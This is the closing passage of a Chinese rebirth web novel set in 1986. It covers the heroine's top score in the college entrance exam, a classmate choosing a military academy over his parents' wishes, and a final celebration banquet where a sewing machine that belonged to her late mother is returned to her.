人生那么长,一时的恩怨总会被时间磨平,剩下的只有人与人之间最本质、最温暖的感情。 沉浸在仇恨中的人生是可悲的,将生命全部意义都寄托在复仇上是空洞的。 贺明珠有两次人生,每一次都很珍贵。 齐老太最终没有留在贺家,出于愧疚,也出于爱。 她跟着齐小弟去了分矿生活,那里在未来会发展成一个新的城市。 而现在,围绕着生意兴旺的煤矿人家分店,许家村周边已经形成了一个小型的商业社区,有商店,有菜市场,有裁缝铺,来来往往的人群,热闹极了。 齐家红劝齐老太留下,齐老太慈爱地拍拍齐家红的手:“哪有丈母娘住在女婿家里的?再说了,家里都是年轻人,突然多了我这个老东西,你们别扭,我也别扭。正好你弟弟在矿上,一个人冷冷清清的,平时工作也忙,照顾不好自己,我去陪着他。要是有空了,你就来矿上看我。” 齐小弟也说:“姐,你放心,我能照顾好妈。家里的事不用,也不该让你操心……家里对不住你,你过得越好,我和妈才能越安心。” 齐家红心情复杂地看着这个小弟。 在她不知不觉的时候,原来他已经成长为一个大人了。 后来的后来,齐家红偶遇过一次齐老头。 他穿着脏而陈旧的外套,看起来像是还没退休时单位发的工服,鞋子被磨破了洞,半只脚狼狈地露在外面,接受他人目光的检阅。 而齐老头麻木地坐在墙角晒太阳,行人匆匆从他身边经过。 他漫无目的地看着来来往往的人,眼中无光,像一只要被主人扒皮吃肉的老狗,丝毫不见此前一家之主的派头。 齐大哥之所以还没有把齐老头赶出家门,是他还需要齐老头的退休工资,但他需要的是退休工资,而不是一个邋遢的老头。 齐老头原本还在窃喜着齐老太被赶出家门,而他没有,但齐老头没高兴多久,他很快就意识到自己是活体储蓄罐,除了往出吐钱,没有任何作用。 要不是退休工资必须得在本人活着时才能领取,齐大哥并不在乎亲爹有没有喘气。 这就是他的儿子。 齐老头在人生的暮年终于意识到这一点,却已经太晚了。 齐家红没有与齐老头相认,她只是远远地看了一眼,然后就继续走她的路了。 过去已经是过去,现在她不会再回头。 她替自己找到了新的家人,还有新的人生,过往就只是一张暗淡的旧画布,那些苦涩酸楚的记忆,不需要再回味。 她有更好的未来。 第159章 第159章1986年的高考 随着1986年的到来,离高考越来越近了。 作为高三生,贺明珠的绝大部分时间和精力都放在了复习上,偶尔看书看累了,就去看看饭店食堂和罐头厂的利润表。 净利润一栏后长长的一串数字,看得她极为心旷神怡,复习起来都更有劲儿了。 不过,班里的其他人就没有贺明珠的好心态了。 他们放弃了包分配的中专,放弃了可能的三年工龄和工资,将未来孤注一掷到高考上,渴望通过高考来改变自己和家庭的命运。 高考的竞争虽然残酷,但对于普通人来说,这已经是一场最公平的比赛了。 闲暇的时候,班里同学会聊一聊要报考什么学校。 有人说:“我要报师院校,听说师院不收学费还发钱,将来毕业就能当老师。” 有人说:“我要去医专,等我成了医生,我们家里人看病就不用花钱了。” 也有人说:“我就考本地煤校,离家近,毕业就分配到矿务局,多好。” 还有人问:“你们怎么都不想去学会计?这工作多好,天天数钱,我就喜欢摸大团结。” 同学们哄堂大笑:“还数钱,那是你的钱吗就数,都是别人的钱,你也就是个账房先生。” “账房先生我也乐意,和钱呆久了,身上都是钱味儿,说不定哪天我也成万元户了呢!” 同学们叽叽喳喳地聊着,难得露出放松的笑容。 而孙向前一直没说话,微微皱眉,贺明珠注意到,当时没有说什么,而是等放学后两人结伴骑车回家的时候,才问道:“你怎么了?有什么烦心事吗?” 孙向前:“没什么,就是……” 他犹豫了一下,还是问道:“贺同学,你说,报考的学校要怎么选呢?是选自己喜欢的,还是选家里要求的?” 贺明珠一听,心里转一转他的话,立刻明白了什么情况。 这个问题没有标准答案,似乎选哪个都有正确性。与其说是对大学的选择,倒不如说是在未来人生规划上的话语权。 贺明珠没有选择模棱两可地回答,径直说道:“你觉得谁对你的人生有决定权,你就听谁的。” 孙向前一愣,没有想到贺明珠会这样说。 之前许多人对于这个问题,要么说让他听父母的,毕竟父母的人生阅历和见识都远超于高中生,听他们的更有指导性;要么就说让他报自己想去的学校,毕竟路是自己走的,父母只能建议,而不能替代。 而贺明珠却没有回答,而是反问谁更能决定他的人生。 孙向前陷入了思考中。 贺明珠说:“与其说是选学校,倒不如说是选择你未来人生的走向。你可以选择听父母,按照他们的规划来生活;也可以选择听自己的,为理想而奋斗。” “但落子无悔,无论你选了哪个,都不要为现在的选择后悔,也不要美化没有选的那条路。” 孙向前侧过头去看旁边的贺明珠,暮光中,她的脸看起来洁白无瑕,分明是柔和的轮廓,却有着强悍的气质。 她是强者,握有足够决定自己人生的力量,也有着做出决定并为此负责的勇气。 “我明白了。” 孙向前转过头,重新看向前方的道路。 “我知道我要选什么了。” 或许他还没有足够与家庭相抗衡的力量,但至少他拥有为未来纵身一跃的勇气。 回到家后,孙母殷切地接过孙向前的书包,连声问道:“问好了吗?赵曼曼和贺明珠要考的是哪个大学?” 孙向前的母亲是一电厂的职工,而他的父亲是矿务局小车班的司机,专门为矿领导开车。 孙父原本是农村退伍兵,因为长得高大漂亮,娶了城市姑娘孙母,并通过孙家的关系在矿务局找到工作,一跃成为城里人。 孙向前继承了父亲的好样貌,而且青出于蓝胜于蓝,是个漂亮得让人一再回头的大男孩。 出于路径依赖的原因,孙父希望孙向前像自己一样,靠岳家青云直上,一举实现阶级跃升。 而作为小车班司机,孙父是离矿领导最近的人,对矿务局的上层领导了如指掌。 大领导的孙女赵曼曼喜欢孙向前不是什么秘密,长眼睛的人都看得出来。 孙家父母很希望孙向前与赵曼曼交好,就算高中不能谈对象,做个朋友也好。等到了大学,不就顺理成章了么。 而相应的,孙家父母不希望孙向前把时间都浪费在贺明珠这个普通工人家庭的孩子身上。 当初中考前,贺明珠孙向前和梁志胜凑在一起复习,孙家父母就挺不乐意的。要不是看在复习效果不错的份上,他们早就要勒令孙向前不许去了。 到了高中,孙母直接说:“你没事别和贺家姑娘玩,工人家的小孩能有什么出息。有空多和赵曼曼聊聊天,这姑娘家庭条件好,见识也广,多聊聊对你有好处。” 孙向前沉默地对抗,不仅没听孙母的,反而每天放学都先把不顺路的贺明珠送回去,然后自己再掉头回家。 孙母无奈,只好从侧面下手,经常把赵曼曼喊家里来吃饭。 孙向前只要在家里看到赵曼曼,哪怕是刚从外面回来,也二话不说掉头就走,把孙母气得够呛。 赵曼曼脸皮薄,就算再喜欢孙 向前也禁不住这样冷漠的对待,恼羞成怒,不肯再来孙家。 与此同时,贺明珠的生意越做越大,家家户户的送礼清单上都能看到“煤矿人家”牌罐头。 乌金年代更是成了本市招牌饭店,不少人千里迢迢过来吃饭。要是能在乌金年代摆宴席,那可太有面子了。 孙母的态度渐渐软化,某天扭扭捏捏地对孙向前说:“你那个贺的同学也挺好的,我不反对你和她做朋友。” 孙向前:? 这还用您来反对吗? 孙父却不以为意,开饭店算什么本事,有权就有钱,有钱却不一定有权。买卖人再有钱也只是个做买卖的,只有当官才是最厉害。 孙母原则上同意孙父的观点,但认为可以增加备选,就像是高考,要是第一志愿滑档了,还有第二志愿来兜底。 孙向前继续以沉默来对抗, 等到快高考了,孙家父母要求孙向前第一志愿填报赵曼曼报考的大学,第二志愿填报贺明珠报考的大学,剩下的志愿则填报他们给孙向前选的大学。 从始至终,孙向前本人的意愿没有被考虑在内。 孙向前对自己的未来也很迷茫,只有一个模糊的想法:他的人生不能按照父母的要求来。 在与贺明珠的一番谈话后,他的想法更加明确而坚定。 即使他选择了一条错误的道路,但因为这条路是他选的,就算是错的,也比父母所规划的“正确的道路”要强一万倍。 没有人,也不应该有人能够决定别人的人生。 贺明珠发现孙向前忽然变得明亮了许多。 他本来就是一个漂亮得让人侧目的大男孩,当身上那层若有若无的阴霾被擦掉后,像是一颗蒙尘珍珠终于显露真容,明亮得甚至有些晃眼。 饶是以贺明珠的定力,在高考冲刺的这段时间里,都忍不住一而再再而三地拿孙向前洗眼睛。 要不怎么说美色是人类的第一驱动力呢,看完帅哥感觉背书都更有力气了。 紧张而有序的复习中,时间转瞬即逝。 在高考前,孙向前忽然很郑重地把贺明珠叫到一边,他的表情之严肃,让贺明珠以为他是要告白,还琢磨等下要做出什么反应才不会伤害一颗脆弱的少男心。 然而,孙向前说出口的话出乎她的意料。 “明珠,谢谢你。” 贺明珠疑惑地问他:“谢我什么呢?” ……她好像也没做什么吧? 孙向前却不再解释,只是露出了温柔而灿烂的笑容。 ——谢谢你让我坚定地站在了自己这一边,谢谢你让我不再畏惧可能做错的选择。 错误也是人生的必经之路,就像是不只有晴天才是好天气。 见孙向前不说话只是笑,贺明珠也忍不住笑了起来。 算了算了,看在这张帅脸的份上,她一向对帅哥格外宽容的——如果有人没见过她宽容的一面,那可能需要自我反省一下,是不是长得还不够帅。 孙向前对贺明珠说:“如果……” 这次再开口,他有些紧张,抿着嘴,脸上有些红。 贺明珠陡然觉察到空气中无影无形的粉红泡泡,忍不住也跟着紧张了一下,反应过来就自我唾弃。 她有什么好紧张的,经历了两次人生,她才应该是那个游刃有余玩弄小男生感情的渣女。 “如果什么?” 贺明珠鼓励孙向前说下去。 孙向前说:“如果我们都考上大学,我可以给你写信吗?” 贺明珠:…… 惭愧了,被后世信息污染多年,重新回到上个世纪的纯情年代,有种老司机误入新手村的愧疚感。 “当然可以。” 贺明珠格外真诚地看着孙向前的眼睛:“你放心写,我肯定给你回信。” 孙向前笑了,像是整个六月的阳光都融入他的笑容中,明亮而灼热。 他又说:“谢谢。” 这次贺明珠没有再问为什么。 她知道,他知道她知道。 高考结束后,孙向前考入某著名军校,成为了矿务局首个考入军校的煤矿子弟。 直到本地武装部和矿务局领导来家慰问,孙家父母才得知这一录取消息。 面对既成事实,这次,他们没有办法再去左右孙向前的选择。 孙父痛心不已:“现在打仗,当兵是要上战场的,你会后悔的!” 孙向前却说:“这就是我的理想,就算要牺牲在战场上,我也不会后悔。” 孙母急道:“你就算和我们赌气,不想和赵曼曼一起,难道你也不想和贺明珠在一起?她可是考到了北京最好的大学,你不去找她,这辈子都见不着了!” 孙向前只是笑了笑:“我们会写信的。” 孙母气急败坏:“写信管什么用!这么好的姑娘,这么好的学校,长得漂亮还能挣钱,你不赶紧追,多的是人追!你你你!你真是气死我了!” 孙向前不再和母亲争论,而是自顾自收拾起了入校的行装。 军校不需要交学费,每月会发津贴,在校期间还会发军装,即使家里不支持,也不影响学业。 更何况他考上军校的事在矿领导那儿挂了号,父母不能在明面上反对,对外还得捏着鼻子夸奖,就算有火也只能在家里发,无法改变任何事情。 也就是说,他终于决定了自己的人生。 孙母还在不甘地抱怨:“你以为军校是那么好进的?进去了就出不来,你以后想见贺明珠也见不着,她迟早要忘了你!” 孙向前开口:“她不会的。” 孙母反驳:“你凭什么觉得她不会?要是一直见不着人,她连你长什么样都会忘的!” 孙向前说:“那我就去见她。” 他会去见贺明珠,在未来,以更好的面貌和姿态。 到那时,他会告诉她:“我选择了我的道路。我决定了我的人生。我没有后悔。” 他也会问她:“你呢?你实现你的理想抱负了吗?” 在未来,在并非遥不可及的未来。 他们都会成为更好的自己。【你现在阅读的是魔蝎小说 moxiexs】 【终章】 第160章 第160章过去与未来…… 贺明珠考上大学了! 作为本市状元,在成绩还没有公布的时候,北京的两所顶尖大学就在争相联系贺明珠,热情邀请她报考本校。 矿务局头一次出了位女状元,而且还是根正苗红的煤矿子弟,不知有多为此骄傲。各级领导来贺家慰问,认识的不认识的都上门祝贺,顺便问问能不能拿几本贺明珠用过的 习题册沾沾喜气。 自从得知成绩那天起,贺家几人脸上的笑就没消失过,牙齿差点被晒黑。 贺明国在检修机器时,同事夸他干起活来又好又快,比刚分来的大学生还麻利,不愧是夜大的优秀毕业生。 贺明国:“哎,你怎么知道我妹妹是今年的状元?” 同事:? 不好意思,但我有提到这个吗? 贺明军在巡店时,食客拦住他,连声地夸新推出的夏日套餐真不错,清凉爽口,原本因中暑而食欲不振的病人都吃得胃口大开。 贺明军:“嗯,因为我们饭店老板是高考状元吧。” 食客:? 啥?状元和食物好吃有关系吗? 纪平波熟练地上前拉走贺明军,抱歉地对食客笑笑。 “不好意思,他太高兴了,打扰了……一会儿我让后厨送您一份薄荷蜂蜜茶。” 食客反应过来,急忙站了起来,连声地问:“等等,你们老板是怎么考上状元的?我姑娘也要上高中了,能不能给我们分析分析经验?我请你喝酒!” “呃,今天不太方便,改……等等,贺明军!” 纪平波一个没拉住,贺明军就高高兴兴地和食客坐一桌了。 “我和您说,高考这种事主要要看考生,和其他人关系没那么大……” 纪平波无奈一拍额头。 又来了…… 与此同时,关于高考状元是煤矿人家兼乌金年代兼罐头厂老板的消息在一夜之间传遍整个乌城,贺明珠这个名字称得上是家喻户晓。 有的人惊叹于她是怎么能在将生意做大的同时,还能取得如此优秀的成绩,这简直是奇迹。 也有的人恨铁不成钢,回家痛斥自家孩子:“你看看人家,你再看看你,都是学生,你怎么和人家差那么远!” 胆大的孩子反驳:“你怎么不说人家的父母把她生的又聪明又漂亮呢,从起跑线上就没得比嘛。” 不反驳也罢,这话一说出口,反倒迎来更猛烈的镇压。 “不好好学习你还有理由了?人家父母都没了,还要自己想办法挣钱,你现在有这么好的条件,要是没考上大学你对得起谁?” “那我现在就去想办法挣钱!” 还有家长不知怎么推理的,在生意兴隆和高考状元之间划了等号,莫名觉得摆地摊有利于提高学习成绩——就算二者没关系,至少也能让孩子知道挣钱不容易。 正值暑假,乌城的街头巷尾多了许多小商小贩,从卖冰棍到卖袜子,还有另辟蹊径上门收废品的。 一时间,处处都是地摊,学生们见面打招呼都变成了:“你卖什么?好卖不?从哪儿进货?” 其中,一些不善于应试的学生发掘出了自己的经商潜能,寻找到了人生的另一种可能,这就是后话了。 贺明珠身上的话题性堪比大众电影杂志的封面明星,大众对她的好奇心爆棚,所有人都想知道她是怎么能在短短三年内开办数家企业,同时还能在高考中取得全市第一名的好成绩。 不少报社上门求采访,从只在本地发行的小报,到全国性报纸,甚至新华社乌城分社都来了人。 在贺家附近,上至瘪嘴老人,下到刚学会说话的小孩,在见到脖子上挂着照相机的人来问路时,都非常熟练地指路:“往东走第三户就是贺家。” 作为贺明珠的朋友,王东文突出重围,成为第一个采访到贺明珠的记者。 当年分店遇袭后不久,他就认识了贺明珠。 这么多年下来,王东文亲眼见证贺明珠从只有两家小饭店,到现在拥有“煤矿人家”和“乌金年代”两个连锁饭店品牌,以及产品销往全国的罐头大厂,并建立了完善的上游供应链,具有稳定而高品质的原材料供应。 与此同时,贺明珠还培养了一批能力强且忠诚度高的管理层和员工,这样强有力的人力资源足以让一些饱受冗员低效之苦的国企羡慕得流口水了。 他本人更是因为贺明珠的帮助,发表了数篇高质量的报道,直接跃升为报社骨干。 这一切只过去了三年的时间。 王东文在采访中不由得感慨,如果当初他没有重视通缉犯被饭店老板抓获的消息,或者他嫌路远没有去郝家村,就不会有今天的他。 想到这里,王东文问贺明珠有没有什么想对三年前的自己说的。 “我没有辜负命运给我的机会。” 王东文以为贺明珠是在感叹自己抓住了每一次乘风而上的机会,确实,成功者之所以能够成功,就是没有错过任何一个机会。 只有贺明珠知道她说的是什么。 命运给了她第二次的人生,她没有辜负命运,也没有辜负自己。 她做到了。 当王东文的采访见报时,贺家正在为贺明珠办升学宴。 按贺明珠的想法,她已经够出风头了,升学宴就和自家人聚一聚,不要大操大办,小心使得万年船,闷声发大财,君不见中巨额彩票的幸运儿都是蒙着脸来领奖的吗? 总之两个字,低调,还是低调。 贺家兄弟虽然不甘心,但也不得不承认妹妹说得对,原本他们还计划在旗下饭店大办流水席,现在也只得改成自家小聚,简单庆贺一番。 但计划总会出现变数。 先是费立广自荐要做家宴厨师。 贺明军说有他呢,肯定不会让贺明珠为自己的升学宴动手做菜的。 费立广上下打量贺明军,从鼻子里喷出气来。 “就你?你懂个屁的做饭。” 贺明军:? 贺明军开始撸袖子:“我怎么就不懂做饭了?” 费立广哼了一声,同时战略性后退一步,离开贺明军的攻击范围。 “我教的你,我还不知道你的能耐?就你那三脚猫手艺,骗骗不懂行的人也就算了,你还想让贺老板在升学宴上吃这个,你有没有点兄妹之情?” 贺明军先是沉默,再开口时弱气了许多:“这是家宴……” 费立广气贯长虹:“让开!” 贺明军乖乖让出掌勺的位置,看费立广带着一群徒弟鱼贯而入,占据了厨房的战略要地。 接着是徐和平不请自来。 “明军儿,你这就不地道了,大喜的事怎么能不叫我,你是不是不拿我当朋友?” 贺明军:…… 怎么今儿都冲着他来了,不是你们就没看到旁边站着的贺老大吗 ? 贺明军不得不耐着性子解释:“明珠不想大办,就家里人简单吃顿饭。” 徐和平一听这理由,满脸夸张的受伤表情。 “我以为咱们已经是一家人了,原来是我自作多情吗?” 贺明军还能说什么, “去去去,赶紧给我进来,你这家伙!” 徐和平喜滋滋地进了门,一点也不拿自己当外人,来了就帮贺家兄弟招呼客人。 不知情的人见状,互相悄悄打听:“贺状元到底是有几个亲兄弟啊?” 不一会儿,张向党和张副矿长也来了。 张副矿长艰难地从摩托车侉子上下来,扶着老腰,腿颠麻了,头发盖帘似的蒙在脸上。 “你那破车赶紧给我处理了!” 张向党一边从车上搬下一箱玻璃瓶进口可乐,一边熟练顶嘴。 “爸,你这是缺乏锻炼,怎么别人坐我车没事儿,就你这疼那疼的。要不然你给我换个进口侉子,那肯定就不颠了。” 张副矿长愤怒地呸了一声。 “还进口侉子!我看你像个侉子!” 贺明珠惊奇道:“咦?你们怎么来了?” 张向党肩扛一箱可乐,乐颠颠地说:“我们来沾沾喜气!搁以前的说法,状元可是文曲星下凡,咱们矿务局什么时候出过这种牛人,这次不来,下次还不知道什么时候呢!” 见自家儿子越说越不像话,张副矿长清了清嗓子,刻意打断他的话,顺便瞪了他一眼。 “明珠是我们矿务局的骄傲,也是我们一矿的骄傲。我代表一矿来表示祝贺,祝你在大学再接再厉,再创佳绩!” 贺明珠忍不住笑了。 “好,谢谢矿领导的关怀,我会继续努力的。” 才把张家父子迎进门,忽然有人从后面喊了贺明珠一嗓子。 “明珠侄女!” 都不用回头去看,贺明珠就知道是谁来了。 “张立新,你丫当便宜叔叔当上瘾了?想充大辈儿,你准备了多少红包啊?” 张立新嘻嘻地笑:“也让我蹭蹭你的光,狐假虎威这种好事儿可不是天天都有。” 贺明珠嘁了一声:“你都成了煤矿人家牌罐头的北京总代理,这还不够你威风的?” 张立新一脸的回味:“那不一样,能挣钱和学习好是两回事儿。回来路上人家问我来乌城干什么,我说我侄女是状元,啧啧啧,当时车厢气氛就不一样了,那叫一个肃然起敬啊……” 张立新是专程从北京赶回来的,第二天就要再赶回北京,那边的生意离不了他。 他给贺明珠带了一个全新的进口行李箱,是用外汇券从友谊商店买的。 在这个年代,行李箱还是很稀罕的,这么一个漂亮的行李箱往屋子里一摆,客人们都啧啧称奇。 看在行李箱的份上,贺明珠暂时原谅了张立新占口头便宜这事儿,回头再找他算账。 也不知是谁传出的消息,陆陆续续的,贺家的客人越来越多。 冯解放和曹全安一起来到贺家,进门后直奔厨房,还没走到地方,就看到了烟囱里冒出的烟。 冯解放:“哎哟,来晚一步。” 曹全安探头朝厨房里面看看,乐道:“嘿,是老费,今天可有口福了!” 冯解放扯着曹全安往厨房走:“别光看着,走,咱们进去帮忙。” “嘿,你老东西。”曹全安认命地跟了进去。 杨冬梅和田润花帮齐家红收拾出几桌接待这些不请自来客人的席面,老邻居刘婶和刘燕见凳子不够,特地骑着三轮把自家桌椅搬了过来。 幸好贺家搬家后的新房子足够大,才能容纳得了这么多的客人。 在院子角落的水池,梁志胜正在吭哧吭哧地洗肥肠。 他去年从中专毕业,在毕业分配时,被分到了食品公司,正是粱父所在肉联厂的上级单位,变相满足了粱父希望梁志胜在机关上班的心愿。 梁志胜不是空手来的,拎了一串的猪头猪蹄猪内脏,还有他自掏腰包买的肋排和五花肉。 费立广一看就笑:“这可都是好东西啊。” 梁志胜厚着脸皮点菜:“师傅,能不能做个辣炒肥肠啊?” 费立广拍拍他的肩膀:“小子,不错啊,还挺会吃的。” 梁志胜还傻呵呵地乐呢,就被费立广以人手不足的理由忽悠去洗肥肠了。 一回生二回熟,梁志胜也算是洗肥肠的熟练工了,别人避之不及的大肠套小肠,他还有闲心研究一下这头猪的断头饭吃的是什么。 一抬头,熟悉的身影走过去,梁志胜连忙喊道:“向前!向前!” 孙向前没想到会在这里看到梁志胜,再看看他手上的一秃噜猪大肠,不由得就是一乐。 “又洗肥肠呢?” 梁志胜嘿嘿一笑:“没办法,就喜欢这一口。” 孙向前忍不住笑,这个画面太眼熟了,就像是又回到了三年前冲刺中考的那段时间。 梁志胜冲孙向前挤眉弄眼:“哎,你和那谁,那什么,什么情况啊?” 孙向前知道他在说什么,笑着摇摇头。 梁志胜比当事人还急:“不是我说,你一个大男人不主动点儿,还指望人家姑娘上赶着啊?” 孙向前也不生气:“还不到时候。” 梁志胜不理解:“都高考完了,你们俩都被大学录取了,现在不是时候,还要等到什么时候?” 孙向前说:“到时候你会知道的。” 梁志胜摇摇头:“嗨,就不懂你们这些好学生的想法。我这也是自找的,皇帝不急太监急……啊呸呸呸,我这破嘴,什么太监啊!” 孙向前忍不住笑了起来,袖子一挽,蹲下来和梁志胜一起洗猪大肠。 梁志胜兴致勃勃地和孙向前聊起了天:“哥们,听说你考到军校了,你说我要不要办个停薪留职,也去当两年兵啊……” 屋子里,一床松软洁白的棉花被子摊开,散发着阳光的气息。 许巧燕笑着说:“这是你姥姥和俺娘一起絮的新棉被,用的都是新棉花,还做了几个被套,可以替换着用。” 贺明珠摸了摸被子,柔软得像是一朵云,又有着棉被特有的扎实感,光是看着就能和好梦和酣睡联系到一起。 “我喜欢这个被子,我要带到北京去,天天盖着睡。” 听到贺明珠直白地说出对被子的喜爱之情,许巧燕脸上的笑止都止不住。 “家里听说你考了状元,都高兴得不得了,俺爹当天就在院里放鞭炮,村里人知道后都要来咱家蹭蹭喜气,以后也让娃娃考大学呢。” 贺明珠问:“村里现在怎么样了?” 许巧燕说:“好,都好!有俺爹管着,今年的庄稼种得特别好,就算雨水少,也不耽误收成好。没了砖窑的烟熏,村里好几户的亩产都变多了。粉条厂也好,紧着赶生产,还是赶不上来买货的。砖窑那片地的土被挖干净,不能种地了,村里正研究要不要把粉条厂挪到那边,正好扩大生产。反正,村里在的日子比前些年好过多了!” 听到许家村现在过得这么好,贺明珠由衷地为他们高兴。 而郝家村也没有忘了贺明珠。 郝翠兰带来了许多的腊鸡和腌鸡蛋,还有厚厚一摞的新鞋垫。 “这些都是村里婶娘纳的鞋垫,有春夏的,也有冬天的,都是比着你的脚做的,穿起来肯定舒坦。不管你走到哪儿,穿着俺们的鞋垫,都顺风顺水。” 鞋垫的针脚密密实实,绣着最时兴的花样,有秀丽的兰花,也有花开富贵的牡丹,还有可爱的小鹿和兔子。 但无论是哪双鞋垫,上面都有着两个字——平安。 贺明珠郑重地接过鞋垫,对郝翠兰说:“这些鞋垫都很好,替我谢谢大家。” 郝翠兰露出一个爽朗的笑:“俺还怕你嫌弃鞋垫老土呢。贺老板,你有空了就来俺们村看看,和之前一点也不一样了。” 她还开了个玩笑:“这回你来俺们村,肯定就没有通缉犯了!” 齐小弟给贺明珠带来了一件新毛衣,纯色的,版型宽松,触感柔软极了,丝毫没有羊毛特有的扎手感。 “这是我妈的一点心意,你别嫌弃,毛衣是她织好了又揉软的,虽然有点不时髦,但穿起来应该还挺舒服……” 齐小弟在把毛衣拿给贺明珠的时候还有些不好意思,像是觉得这个礼物太轻了,有点拿不出手。 贺明珠二话不说接过毛衣,当场就穿了起来。 夏天的温度高,她很快就出了一脑门的汗, “确实很软,而且和好看,我很喜欢。” 齐小弟咧着嘴笑了起来。 客人越来越多,有亲人,有朋友,还有一面之交的故旧。 贺明珠看到阿布日古大爷和冯解放生疏地交流羊肉烹饪的心得,恩和森充满兴趣地听张向党介绍他的侉子。 曾经在邮局里有着一面之缘的胖老头和瘦老头携手而来,见贺明珠看过来,老顽童似的悄悄冲她嘘了一下。 灵灵骄傲地昂着头,向新认识的城里玩伴介绍她的妈妈。 “俺妈可厉害呢,她做的粉条特别好吃,厂里的人都要听她的!俺妈将来还要当村长,俺也要!” 贺小弟手忙脚乱地拽着贼猫:“不行,这是人家养的小鸡,你不能吃!” 旁边的小狗将军助威似的汪汪大叫。 贼猫烦躁地甩甩头。 污蔑谁呢?这玩意是生的怎么吃? 它就是凑过去看看,就看看——顺便叼走一只小鸡玩玩也没关系……吧? 渐渐的,认识的,不认识的,都涌入了贺家的院子,来沾沾状元的喜气。 贺明国和贺明军今天高兴,对不请自来的客人们来者不拒,纷纷请进来共享盛宴。 贺明珠原本不想大操大办,没想到最后阴差阳错还是办成了流水席。 看着满场的宾客,贺明国还挺高兴的。 “热热闹闹的,多好!” 贺明军难得附和贺明国的观点:“老大说得对,就是要让大家都来分享咱家的喜悦。” 贺明珠看向面前两个年轻而健壮的哥哥。 他们正处在人生中最好的年华,健康而鲜活,极为旺盛的生命力,像太阳一般耀眼夺目。 不需要被债务鞭策,不必在海上搏命,或是在不见光的井下损耗生机,残酷的命运不会再发生。 这一世,他们会有更好的人生。 贺明珠忍不住笑了。 真好。 真的是,太好了。 贺明军不知道贺明珠在笑什么,疑惑一瞬后,忽然想起来什么。 “我得赶紧和厨房说一声,到开席时间了,得准备上菜了!” 贺明国被提醒了:“哎哟,还有几个桌子没摆好呢!” 俩哥哥匆匆去忙手头的事,一时间只剩下贺明珠一个人。 恰好此时,在人群中,她看到一个眼熟的身影。 那是她今生睁眼后见到的第一个人。 “大状元,恭喜你啊 !你可是咱们矿务局的骄傲!我可是跟我家小子说了,让他好好和你学习!” 中年男人满脸堆笑,同贺明珠套近乎,丝毫看不出当初逼债的模样。 贺明珠没有理会他的奉承,而是指着他怀里抱着的东西问道:“这是?” 中年男人连忙将盖布掀开,露出其下的缝纫机。 “这是你哥当初抵给我的。现在谁家也不缺缝纫机,我寻思这应该对你们家挺有纪念意义的,就特地给你拿了过来……” 贺明珠听不到后面的絮絮叨叨了,她的眼睛只盯着那个有些陈旧的缝纫机。 这是贺母的遗物,贺家几个孩子的衣服都是用这个缝纫机一针一线地做出来的。 从贺明国的工装,到贺明军离家时背着的背包,再到贺小弟的小包被。 以及贺明珠人生中第一条裙子。 当初,由于贺家欠债未还,家里只剩几个没长成的孩子,债主们怕欠债变成竹篮打水一场空,本着挽回一点损失是一点的想法,有人扛走电视机,有人拿走收音机,中年男人带走了缝纫机。 如今,缝纫机终于物归原主。 贺明珠接过缝纫机,沉甸甸的,有些压手。 但她的脸上却露出了释然的笑容。 贺明珠回身望去,在场的人中,有她的亲人,有她的朋友。 有帮助过她的人,也有她帮助过的人。 是爱她的人,也是她所爱的人。 这一次,命运的纺织线终于握在她的手中。【你现在阅读的是魔蝎小说 moxiexs】